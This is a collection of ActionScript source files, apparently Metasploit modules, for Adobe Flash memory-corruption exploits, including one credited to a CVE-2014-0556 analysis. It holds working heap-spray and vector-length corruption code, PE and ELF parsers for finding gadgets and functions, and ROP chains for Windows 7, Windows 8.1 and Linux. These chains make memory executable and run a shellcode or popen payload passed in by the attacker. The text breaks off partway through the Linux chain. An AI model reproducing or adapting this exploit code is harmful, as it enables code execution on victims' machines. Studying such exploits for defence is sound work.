tweaked_vector[((0x40000000 - vector_size) - 3)] = vector_obj_addr;
tweaked_vector[((0x40000000 - vector_size) - 4)] = vector_size;
i = 0;
var val:uint;
while (true)
{
val = tweaked_vector[(0x40000000 - i)];
if (val == 0x90001B) break;
i++;
};
tweaked_vector_address = 0;
if (tweaked_vector[((0x40000000 - i) - 4)] > 0)
{
tweaked_vector[4] = 0x41414141;
tweaked_vector_address = ((tweaked_vector[((0x40000000 - i) - 4)] + (8 * (vector_size + 2))) + 8);
};
// More memory massage, fill an array of FileReference objects
var file_reference_array:Array = new Array();
i = 0;
while (i < 64)
{
file_reference_array[i] = new FileReference();
i++;
};
var file_reference_vftable:uint = this.find_file_ref_vtable(tweaked_vector, tweaked_vector_address);
var cancel_address:uint = this.read_memory(tweaked_vector, tweaked_vector_address, (file_reference_vftable + 0x20));
var do_it:Boolean = true;
var memory_protect_ptr:uint;
var aaaq:uint;
if (do_it)
{
flash_memory_protect = this.findFlashMemoryProtect(tweaked_vector, tweaked_vector_address);
memory_protect_ptr = flash_memory_protect[0];
aaaq = flash_memory_protect[1]; // Not sure, not used on the Flash 11.7.700.202 analysis, maybe some type of adjustment
code_vectors = this.createCodeVectors(0x45454545, 0x90909090);
address_code_vector = this.findCodeVector(tweaked_vector, tweaked_vector_address, 0x45454545);
this.fillCodeVectors(code_vectors);
tweaked_vector[7] = (memory_protect_ptr + 0); // Flash VirtualProtect call
tweaked_vector[4] = aaaq;
tweaked_vector[0] = 0x1000; // Length
tweaked_vector[1] = (address_code_vector & 0xFFFFF000); // Address
// 10255e21 ff5014 call dword ptr [eax+14h] ds:0023:41414155=????????
this.write_memory(tweaked_vector, tweaked_vector_address, (file_reference_vftable + 0x20), (tweaked_vector_address + 8));
// 1) Set memory as executable
i = 0;
while (i < 64)
{
file_reference_array[i].cancel();
i++;
};
// 2) Execute shellcode
tweaked_vector[7] = address_code_vector;
i = 0;
while (i < 64)
{
file_reference_array[i].cancel();
i++;
};
// Restore FileReference cancel function pointer
// Even when probably msf module is not going to benefit because of the ExitThread at the end of the payloads
this.write_memory(tweaked_vector, tweaked_vector_address, (file_reference_vftable + 0x20), cancel_address);
};
}
// returns the integer at memory address
// vector: vector with tweaked length
// vector_address: vector's memory address
// address: memory address to read
function read_memory(vector:Vector.<int>, vector_address:uint, address:uint):uint{
if (address >= vector_address)
{
return (vector[((address - vector_address) / 4)]);
};
return (vector[(0x40000000 - ((vector_address - address) / 4))]);
}
function write_memory(vector:Vector.<int>, vector_address:uint, address:uint, value:uint){
if (address >= vector_address)
{
vector[((address - vector_address) / 4)] = value;
} else
{
vector[(0x40000000 - ((vector_address - address) / 4))] = value;
};
}
function findFlashMemoryProtect(vector:*, vector_address:*):Array{
var content:uint;
var allocation:uint = this.read_memory(vector, vector_address, ((vector_address & 0xFFFFF000) + 0x1c));
var index:uint;
var memory_protect_ptr:uint;
var _local_6:uint;
if (allocation >= vector_address)
{
index = ((allocation - vector_address) / 4);
} else
{
index = (0x40000000 - ((vector_address - allocation) / 4));
};
//push 1 ; 6a 01
//push dword ptr [eax-8] ; ff 70 f8
//push dword ptr [eax-4] ; ff 70 fc
//call sub_1059DD00 // Will do VirtualProtect
var offset:uint;
while (1)
{
index--;
content = vector[index];
if (content == 0xfff870ff)
{
offset = 2;
break;
};
if (content == 0xf870ff01)
{
offset = 1;
break;
};
if (content == 0x70ff016a)
{
content = vector[(index + 1)];
if (content == 0xfc70fff8)
{
offset = 0;
break;
};
} else
{
if (content == 0x70fff870)
{
offset = 3;
break;
};
};
};
memory_protect_ptr = ((vector_address + (4 * index)) - offset);
index--;
var content_before:uint = vector[index];
if (content_before == 0x16a0424)
{
return ([memory_protect_ptr, _local_6]);
};
if (content_before == 0x6a042444)
{
return ([memory_protect_ptr, _local_6]);
};
if (content_before == 0x424448b)
{
return ([memory_protect_ptr, _local_6]);
};
if (content_before == 0xff016a04)
{
return ([memory_protect_ptr, _local_6]);
};
_local_6 = (memory_protect_ptr - 6);
while (1)
{
index--;
content = vector[index];
if (content == 0x850ff50)
{
if (uint(vector[(index + 1)]) == 0x5e0cc483)
{
offset = 0;
break;
};
};
content = (content & 0xFFFFFF00);
if (content == 0x50FF5000)
{
if (uint(vector[(index + 1)]) == 0xcc48308)
{
offset = 1;
break;
};
};
content = (content & 0xFFFF0000);
if (content == 0xFF500000)
{
if (uint(vector[(index + 1)]) == 0xc4830850)
{
if (uint(vector[(index + 2)]) == 0xc35d5e0c)
{
offset = 2;
break;
};
};
};
content = (content & 0xFF000000);
if (content == 0x50000000)
{
if (uint(vector[(index + 1)]) == 0x830850ff)
{
if (uint(vector[(index + 2)]) == 0x5d5e0cc4)
{
offset = 3;
break;
};
};
};
};
memory_protect_ptr = ((vector_address + (4 * index)) + offset);
return ([memory_protect_ptr, _local_6]);
}
// vector: vector with tweaked length
// address: memory address of vector data
function find_file_ref_vtable(vector:*, address:*):uint{
var allocation:uint = this.read_memory(vector, address, ((address & 0xFFFFF000) + 0x1c));
// Find an allocation of size 0x2a0
var allocation_size:uint;
while (true)
{
allocation_size = this.read_memory(vector, address, (allocation + 8));
if (allocation_size == 0x2a0) break;
if (allocation_size < 0x2a0)
{
allocation = (allocation + 0x24); // next allocation
} else
{
allocation = (allocation - 0x24); // prior allocation
};
};
var allocation_contents:uint = this.read_memory(vector, address, (allocation + 0xc));
while (true)
{
if (this.read_memory(vector, address, (allocation_contents + 0x180)) == 0xFFFFFFFF) break;
if (this.read_memory(vector, address, (allocation_contents + 0x17c)) == 0xFFFFFFFF) break;
allocation_contents = this.read_memory(vector, address, (allocation_contents + 8));
};
return (allocation_contents);
}
// Returns pointer to the nops in one of the allocated code vectors
function findCodeVector(vector:*, vector_address:*, mark:*):uint{
var allocation_size:uint;
var allocation:uint = this.read_memory(vector, vector_address, ((vector_address & 0xFFFFF000) + 0x1c));
while (true)
{
allocation_size = this.read_memory(vector, vector_address, (allocation + 8));
if (allocation_size == 0x7f0) break; // Code Vector found
allocation = (allocation + 0x24); // next allocation
};
// allocation contents should be the vector code, search for the mark 0x45454545
var allocation_contents:uint = this.read_memory(vector, vector_address, (allocation + 0xc));
while (true)
{
if (this.read_memory(vector, vector_address, (allocation_contents + 0x28)) == mark) break;
allocation_contents = this.read_memory(vector, vector_address, (allocation_contents + 8)); // next allocation
};
return ((allocation_contents + 0x2c));
}
// create 8 vectors of size 0x7f0 inside an array to place shellcode
function createCodeVectors(mark:uint, nops:uint){
var code_vectors_array:Array = new Array();
var i:* = 0;
while (i < 8)
{
code_vectors_array[i] = new Vector.<uint>(((0x7f0 / 4) - 8)); // new Vector.<uint>(0x1f4)
code_vectors_array[i][0] = mark; // 0x45454545 // inc ebp * 4
code_vectors_array[i][1] = nops; // 0x90909090 // nop * 4
i++;
};
return (code_vectors_array);
}
// Fill with the code vectors with the shellcode
function fillCodeVectors(array_code_vectors:Array) {
var i:uint = 0;
var sh:uint=1;
while(i < array_code_vectors.length)
{
for(var u:String in shellcodeObj)
{
array_code_vectors[i][sh++] = Number(shellcodeObj[u]);
}
i++;
sh = 1;
}
}
}
}//package

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@ -0,0 +1,10 @@
package
{
import mx.core.ByteArrayAsset;
[Embed(source="binary_data_linux", mimeType="application/octet-stream")]
public class GraphShadLinux extends ByteArrayAsset
{
}
}

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@ -0,0 +1,10 @@
package
{
import mx.core.ByteArrayAsset;
[Embed(source="binary_data_windows", mimeType="application/octet-stream")]
public class GraphShadWindows extends ByteArrayAsset
{
}
}

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@ -1,10 +0,0 @@
package
{
import mx.core.ByteArrayAsset;
[Embed(source="binary_data", mimeType="application/octet-stream")]
public class Graph_Shad extends ByteArrayAsset
{
}
}

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@ -0,0 +1,32 @@
package
{
import flash.external.ExternalInterface
public class Logger {
private static const DEBUG:uint = 0
public static function alert(msg:String):void
{
var str:String = "";
if (DEBUG == 1)
str += msg;
if(ExternalInterface.available){
ExternalInterface.call("alert", str);
}
}
public static function log(msg:String):void
{
var str:String = "";
if (DEBUG == 1)
str += msg;
if(ExternalInterface.available){
ExternalInterface.call("console.log", str);
}
}
}
}

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@ -0,0 +1,72 @@
package
{
public class PE
{
private var eba:ExploitByteArray
public function PE(ba:ExploitByteArray)
{
eba = ba
}
public function base(addr:uint):uint
{
addr &= 0xffff0000
while (true) {
if (eba.read(addr) == 0x00905a4d) return addr
addr -= 0x10000
}
return 0
}
public function module(name:String, addr:uint):uint
{
var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1
var mod_name:String
while (true) {
var entry:uint = eba.read(iat + (++i) * 0x14 + 12)
if (!entry) throw new Error("FAIL!");
mod_name = eba.read_string(addr + entry, name.length)
if (mod_name.toUpperCase() == name.toUpperCase()) break
}
return base(eba.read(addr + eba.read(iat + i * 0x14 + 16)))
}
public function procedure(name:String, addr:uint):uint
{
var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78)
var numberOfNames:uint = eba.read(eat + 0x18)
var addressOfFunctions:uint = addr + eba.read(eat + 0x1c)
var addressOfNames:uint = addr + eba.read(eat + 0x20)
var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24)
var proc_name:String
for (var i:uint = 0; ; i++) {
var entry:uint = eba.read(addressOfNames + i * 4)
proc_name = eba.read_string(addr + entry, name.length + 2)
if (proc_name.toUpperCase() == name.toUpperCase()) break
}
return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4)
}
public function gadget(gadget:String, hint:uint, addr:uint):uint
{
var find:uint = 0
var contents:uint = 0
var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50)
var value:uint = parseInt(gadget, 16)
for (var i:uint = 0; i < limit - 4; i++) {
contents = eba.read(addr + i)
if (hint == 0xffffffff && value == contents) {
return addr + i
}
if (hint != 0xffffffff && value == (contents & hint)) {
return addr + i
}
}
throw new Error()
}
}
}

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package
{
public class Elf
{
private const PT_DYNAMIC:uint = 2
private const PT_LOAD:uint = 1
private const PT_READ_EXEC:uint = 5
private const DT_SYMTAB:uint = 6
private const DT_STRTAB:uint = 5
private const DT_PLTGOT:uint = 3
private var e_ba:ExploitByteArray
// elf base address
public var base:uint = 0
// program header address
public var ph:uint = 0
// number of program headers
public var ph_size:uint = 0
// program header entry size
public var ph_esize:uint = 0
// DYNAMIC segment address
public var seg_dynamic:uint = 0
// DYNAMIC segment size
public var seg_dynamic_size:uint = 0
// CODE segment address
public var seg_exec:uint = 0
// CODE segment size
public var seg_exec_size:uint = 0
// .dynsyn section address
public var sec_dynsym:uint = 0
// .synstr section address
public var sec_dynstr:uint = 0
// .got.plt section address
public var sec_got_plt:uint = 0
public function Elf(ba:ExploitByteArray, addr:uint)
{
e_ba = ba
set_base(addr)
set_program_header()
set_program_header_size()
set_program_header_entry_size()
set_dynamic_segment()
set_exec_segment()
set_dynsym()
set_dynstr()
set_got_plt()
}
public function external_symbol(name:String):uint {
var entry:uint = 0
var st_name:uint = 0
var st_value:uint = 0
var st_size:uint = 0
var st_info:uint = 0
var st_other:uint = 0
var st_shndx:uint = 0
var st_string:String = ""
var got_plt_index:uint = 0
for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit
entry = sec_dynsym + 0x10 + (i * 0x10)
st_name = e_ba.read(entry)
st_value = e_ba.read(entry + 4)
st_info = e_ba.read(entry + 0xc, "byte")
st_string = e_ba.read_string(sec_dynstr + st_name)
if (st_string == name) {
return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4))
}
if (st_info != 0x11) {
got_plt_index++
}
}
throw new Error()
}
public function symbol(name:String):uint {
var entry:uint = 0
var st_name:uint = 0
var st_value:uint = 0
var st_size:uint = 0
var st_info:uint = 0
var st_other:uint = 0
var st_shndx:uint = 0
var st_string:String = ""
for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit
entry = sec_dynsym + 0x10 + (i * 0x10)
st_name = e_ba.read(entry)
st_value = e_ba.read(entry + 4)
st_info = e_ba.read(entry + 0xc, "byte")
st_string = e_ba.read_string(sec_dynstr + st_name)
if (st_string == name) {
return base + st_value
}
}
throw new Error()
}
public function gadget(gadget:String, hint:uint):uint
{
var value:uint = parseInt(gadget, 16)
var contents:uint = 0
for (var i:uint = 0; i < seg_exec_size - 4; i++) {
contents = e_ba.read(seg_exec + i)
if (hint == 0xffffffff && value == contents) {
return seg_exec + i
}
if (hint != 0xffffffff && value == (contents & hint)) {
return seg_exec + i
}
}
throw new Error()
}
private function set_base(addr:uint):void
{
addr &= 0xffff0000
while (true) {
if (e_ba.read(addr) == 0x464c457f) {
base = addr
return
}
addr -= 0x1000
}
throw new Error()
}
private function set_program_header():void
{
ph = base + e_ba.read(base + 0x1c)
}
private function set_program_header_size():void
{
ph_size = e_ba.read(base + 0x2c, "word")
}
private function set_program_header_entry_size():void
{
ph_esize = e_ba.read(base + 0x2a, "word")
}
private function set_dynamic_segment():void
{
var entry:uint = 0
var p_type:uint = 0
for (var i:uint = 0; i < ph_size; i++) {
entry = ph + (i * ph_esize)
p_type = e_ba.read(entry)
if (p_type == PT_DYNAMIC) {
seg_dynamic = base + e_ba.read(entry + 8)
seg_dynamic_size = e_ba.read(entry + 0x14)
return
}
}
throw new Error()
}
private function set_exec_segment():void
{
var entry:uint = 0
var p_type:uint = 0
var p_flags:uint = 0
for (var i:uint = 0; i < ph_size; i++) {
entry = ph + (i * ph_esize)
p_type = e_ba.read(entry)
p_flags = e_ba.read(entry + 0x18)
if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) {
seg_exec = base + e_ba.read(entry + 8)
seg_exec_size = e_ba.read(entry + 0x14)
return
}
}
throw new Error()
}
private function set_dynsym():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_SYMTAB) {
sec_dynsym = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
private function set_dynstr():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_STRTAB) {
sec_dynstr = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
private function set_got_plt():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_PLTGOT) {
sec_got_plt = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
}
}

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// Build how to:
// 1. Download the AIRSDK, and use its compiler.
// 2. Download the Flex SDK (4.6)
// 3. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
// 4. Build with: mxmlc -o msf.swf Main.as
// Original code by @hdarwin89 // http://hacklab.kr/cve-2014-0556-%EB%B6%84%EC%84%9D/
// Modified to be used from msf
package
{
import flash.display.Sprite
import flash.display.BitmapData
import flash.geom.Rectangle
import flash.utils.ByteArray
import flash.display.LoaderInfo
import mx.utils.Base64Decoder
public class Exploit extends Sprite
{
private var uv:Vector.<uint>
private var exploiter:Exploiter
private var b64:Base64Decoder = new Base64Decoder()
private var payload:ByteArray
private var platform:String
private var os:String
private var bv:Vector.<ByteArray> = new Vector.<ByteArray>(12800)
private var ov:Vector.<Object> = new Vector.<Object>(12800)
private var bd:BitmapData = new BitmapData(128, 16)
public function Exploit()
{
var i:uint
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
os = LoaderInfo(this.root.loaderInfo).parameters.os
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
var pattern:RegExp = / /g;
b64_payload = b64_payload.replace(pattern, "+")
b64.decode(b64_payload)
payload = b64.toByteArray()
for (i = 0; i < bv.length; i++) {
bv[i] = new ByteArray()
bv[i].length = 0x2000
bv[i].position = 0xFFFFF000
}
for (i = 0; i < bv.length; i++)
if (i % 2 == 0) bv[i] = null
for (i = 0; i < ov.length; i++) {
ov[i] = new Vector.<uint>(1022)
ov[i][0] = 0xdeadbeef
}
bd.copyPixelsToByteArray(new Rectangle(0, 0, 128, 16), bv[6401])
for (i = 0; i < ov.length ; i++) {
if (ov[i].length == 0xffffffff) {
uv = ov[i]
uv[0] = 0xdeadbeef
uv[1] = 0xdeedbeef
for(var j:uint = 0; j < 4096; j++) {
if (uv[j] == 1022 && uv[j + 2] == 0xdeadbeef) {
uv[0x3fffffff] = uv[j + 1]
break
}
}
} else {
ov[i] = null
}
}
for (i = 0; i < bv.length; i++) {
bv[i] = null
}
exploiter = new Exploiter(this, platform, os, payload, uv)
}
}
}

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package
{
import flash.utils.ByteArray
public class ExploitByteArray
{
private const MAX_STRING_LENGTH:uint = 100
public var ba:ByteArray
public var original_length:uint
private var platform:String
public function ExploitByteArray(p:String, l:uint = 1024)
{
ba = new ByteArray()
ba.length = l
ba.endian = "littleEndian"
ba.writeUnsignedInt(0)
platform = p
original_length = l
}
public function set_length(length:uint):void
{
ba.length = length
}
public function get_length():uint
{
return ba.length
}
public function lets_ready():void
{
ba.endian = "littleEndian"
if (platform == "linux") {
ba.length = 0xffffffff
}
}
public function is_ready():Boolean
{
if (ba.length == 0xffffffff)
return true
return false
}
public function read(addr:uint, type:String = "dword"):uint
{
ba.position = addr
switch(type) {
case "dword":
return ba.readUnsignedInt()
case "word":
return ba.readUnsignedShort()
case "byte":
return ba.readUnsignedByte()
}
return 0
}
public function read_string(addr:uint, length:uint = 0):String
{
ba.position = addr
if (length == 0)
return ba.readUTFBytes(MAX_STRING_LENGTH)
else
return ba.readUTFBytes(length)
}
public function write(addr:uint, value:* = 0, zero:Boolean = true):void
{
var i:uint
if (addr) ba.position = addr
if (value is String) {
for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
if (zero) ba.writeByte(0)
} else if (value is ByteArray) {
var value_length:uint = value.length
for (i = 0; i < value_length; i++) ba.writeByte(value.readByte())
} else ba.writeUnsignedInt(value)
}
}
}

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package
{
public class ExploitVector
{
private var uv:Vector.<uint>
public var original_length:uint = 0x3fe
public function ExploitVector(v:Vector.<uint>)
{
uv = v
}
public function restore():void
{
uv[0x3ffffffe] = original_length
}
public function is_ready():Boolean
{
if (uv.length > original_length)
{
return true
}
return false
}
public function at(pos:uint):uint
{
return uv[pos]
}
// pos: position where a Vector.<Object>[0] lives
public function set_own_address(pos:uint):void
{
uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc
}
public function read(addr:uint):uint
{
var pos:uint = 0
if (addr > uv[0]) {
pos = ((addr - uv[0]) / 4) - 2
} else {
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
}
return uv[pos]
}
public function write(addr:uint, value:uint = 0):void
{
var pos:uint = 0
if (addr > uv[0]) {
pos = ((addr - uv[0]) / 4) - 2
} else {
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
}
uv[pos] = value
}
public function search_pattern(pattern:uint, limit:uint):uint
{
for (var i:uint = 0; i < limit/4; i++) {
if (uv[i] == pattern) {
return i
}
}
throw new Error()
}
}
}

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package
{
import flash.utils.ByteArray
import flash.system.System
public class Exploiter
{
private const VECTOR_OBJECTS_LENGTH:uint = 1014
private var exploit:Exploit
private var ev:ExploitVector
private var eba:ExploitByteArray
private var payload:ByteArray
private var platform:String
private var op_system:String
private var pos:uint
private var byte_array_object:uint
private var main:uint
private var stack_object:uint
private var payload_space_object:uint
private var buffer_object:uint
private var buffer:uint
private var vtable:uint
private var stack_address:uint
private var payload_address:uint
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
private var spray:Vector.<Object> = new Vector.<Object>(89698)
public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.<uint>):void
{
exploit = exp
payload = p
platform = pl
op_system = os
ev = new ExploitVector(uv)
if (!ev.is_ready()) return
eba = new ExploitByteArray(platform)
spray_objects()
try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; }
ev.set_own_address(pos)
if (!disclose_objects()) { ev.restore(); cleanup(); return; }
disclose_addresses()
corrupt_byte_array()
if (!eba.is_ready()) { ev.restore(); cleanup(); return }
do_rop()
restore_byte_array()
ev.restore()
cleanup()
}
private function spray_objects():void
{
Logger.log("[*] Exploiter - spray_objects()")
for (var i:uint = 0; i < spray.length; i++)
{
spray[i] = new Vector.<Object>(VECTOR_OBJECTS_LENGTH)
spray[i][0] = eba.ba
spray[i][1] = exploit
spray[i][2] = stack
spray[i][3] = payload_space
}
}
private function search_objects():uint
{
Logger.log("[*] Exploiter - search_objects()")
var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0x8000)
return idx + 1
}
private function disclose_objects():Boolean
{
Logger.log("[*] Exploiter - disclose_objects()")
byte_array_object = ev.at(pos) - 1
main = ev.at(pos + 1) - 1
stack_object = ev.at(pos + 2) - 1
payload_space_object = ev.at(pos + 3) - 1
if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) {
return false
}
return true
}
private function disclose_addresses():void
{
Logger.log("[*] Exploiter - disclose_addresses()")
if (platform == "linux")
{
buffer_object = ev.read(byte_array_object + 0x10)
buffer = ev.read(buffer_object + 0x1c)
}
else if (platform == "win")
{
buffer_object = ev.read(byte_array_object + 0x40)
buffer = ev.read(buffer_object + 8)
}
vtable = ev.read(main)
stack_address = ev.read(stack_object + 0x18)
payload_address = ev.read(payload_space_object + 0x18)
}
private function corrupt_byte_array():void
{
Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform)
if (platform == "linux")
{
ev.write(buffer_object + 0x1c) // *array
ev.write(buffer_object + 0x20, 0xffffffff) // capacity
}
else if (platform == "win")
{
ev.write(buffer_object + 8) // *array
ev.write(buffer_object + 16, 0xffffffff) // capacity
}
eba.lets_ready()
}
private function restore_byte_array():void
{
Logger.log("[*] Exploiter - restore_byte_array(): " + platform)
if (platform == "linux")
{
ev.write(buffer_object + 0x1c, buffer) // *array
ev.write(buffer_object + 0x20, 1024) // capacity
}
else if (platform == "win")
{
ev.write(buffer_object + 8, buffer) // *array
ev.write(buffer_object + 16, 1024) // capacity
}
eba.set_length(eba.original_length)
}
private function do_rop():void
{
Logger.log("[*] Exploiter - do_rop()")
if (platform == "linux") {
do_rop_linux()
} else if (platform == "win") {
if (op_system == "Windows 8.1") {
do_rop_windows8()
} else if (op_system == "Windows 7") {
do_rop_windows()
} else {
return
}
} else {
return
}
}
private function do_rop_windows():void
{
Logger.log("[*] Exploiter - do_rop_windows()")
var pe:PE = new PE(eba)
var flash:uint = pe.base(vtable)
var winmm:uint = pe.module("winmm.dll", flash)
var kernel32:uint = pe.module("kernel32.dll", winmm)
var ntdll:uint = pe.module("ntdll.dll", kernel32)
var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32)
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32)
var createthread:uint = pe.procedure("CreateThread", kernel32)
var memcpy:uint = pe.procedure("memcpy", ntdll)
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
// Continuation of execution
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
eba.write(0, "\x89\x03", false) // mov [ebx], eax
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
// Put the payload (command) in memory
eba.write(payload_address + 8, payload, true); // payload
// Put the fake vtabe / stack on memory
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
eba.write(0, virtualprotect)
// VirtualProtect
eba.write(0, virtualalloc)
eba.write(0, buffer + 0x10)
eba.write(0, 0x1000)
eba.write(0, 0x40)
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
// VirtualAlloc
eba.write(0, memcpy)
eba.write(0, 0x7f6e0000)
eba.write(0, 0x4000)
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
// memcpy
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
eba.write(0, 0x7f6e0000)
eba.write(0, payload_address + 8)
eba.write(0, payload.length)
// CreateThread
eba.write(0, createthread)
eba.write(0, buffer + 0x10) // return to fix things
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0x7f6e0000)
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0)
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
exploit.toString() // call method in the fake vtable
}
private function do_rop_windows8():void
{
Logger.log("[*] Exploiter - do_rop_windows8()")
var pe:PE = new PE(eba)
var flash:uint = pe.base(vtable)
var winmm:uint = pe.module("winmm.dll", flash)
var advapi32:uint = pe.module("advapi32.dll", flash)
var kernelbase:uint = pe.module("kernelbase.dll", advapi32)
var kernel32:uint = pe.module("kernel32.dll", winmm)
var ntdll:uint = pe.module("ntdll.dll", kernel32)
var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase)
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase)
var createthread:uint = pe.procedure("CreateThread", kernelbase)
var memcpy:uint = pe.procedure("memcpy", ntdll)
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
// Continuation of execution
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
eba.write(0, "\x89\x03", false) // mov [ebx], eax
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
// Put the payload (command) in memory
eba.write(payload_address + 8, payload, true); // payload
// Put the fake vtabe / stack on memory
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
eba.write(0, virtualprotect)
// VirtualProtect
eba.write(0, virtualalloc)
eba.write(0, buffer + 0x10)
eba.write(0, 0x1000)
eba.write(0, 0x40)
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
// VirtualAlloc
eba.write(0, memcpy)
eba.write(0, 0x7ffd0000)
eba.write(0, 0x4000)
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
// memcpy
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
eba.write(0, 0x7ffd0000)
eba.write(0, payload_address + 8)
eba.write(0, payload.length)
// CreateThread
eba.write(0, createthread)
eba.write(0, buffer + 0x10) // return to fix things
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0x7ffd0000)
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0)
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
exploit.toString() // call method in the fake vtable
}
private function do_rop_linux():void
{
Logger.log("[*] Exploiter - do_rop_linux()")
var flash:Elf = new Elf(eba, vtable)
var feof:uint = flash.external_symbol('feof')
var libc:Elf = new Elf(eba, feof)
var popen:uint = libc.symbol("popen")
var mprotect:uint = libc.symbol("mprotect")
var mmap:uint = libc.symbol("mmap")
var clone:uint = libc.symbol("clone")
var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff)
var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff)
var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff)
// Continuation of execution
// 1) Recover original vtable
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
eba.write(0, "\x89\x03", false) // mov [ebx], eax
// 2) Recover original stack
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi
// my_memcpy
eba.write(buffer + 0x60, "\x56", false) // push esi
eba.write(0, "\x57", false) // push edi
eba.write(0, "\x51", false) // push ecx
eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10]
eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14]
eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18]
eba.write(0, "\xF3\xA4", false) // rep movsb
eba.write(0, "\x59", false) // pop ecx
eba.write(0, "\x5f", false) // pop edi
eba.write(0, "\x5e", false) // pop esi
eba.write(0, "\xc3", false) // ret
// Put the popen parameters in memory
eba.write(payload_address + 0x8, payload, true) // false
// Put the fake stack/vtable on memory
eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot
eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi
eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024
// Return to mprotect()
eba.write(stack_address + 0x18034, mprotect)
// Return to stackpivot (jmp over mprotect parameters)
eba.write(0, addesp2cret)
// mprotect() arguments
eba.write(0, buffer) // addr
eba.write(0, 0x1000) // size
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
// Return to mmap()
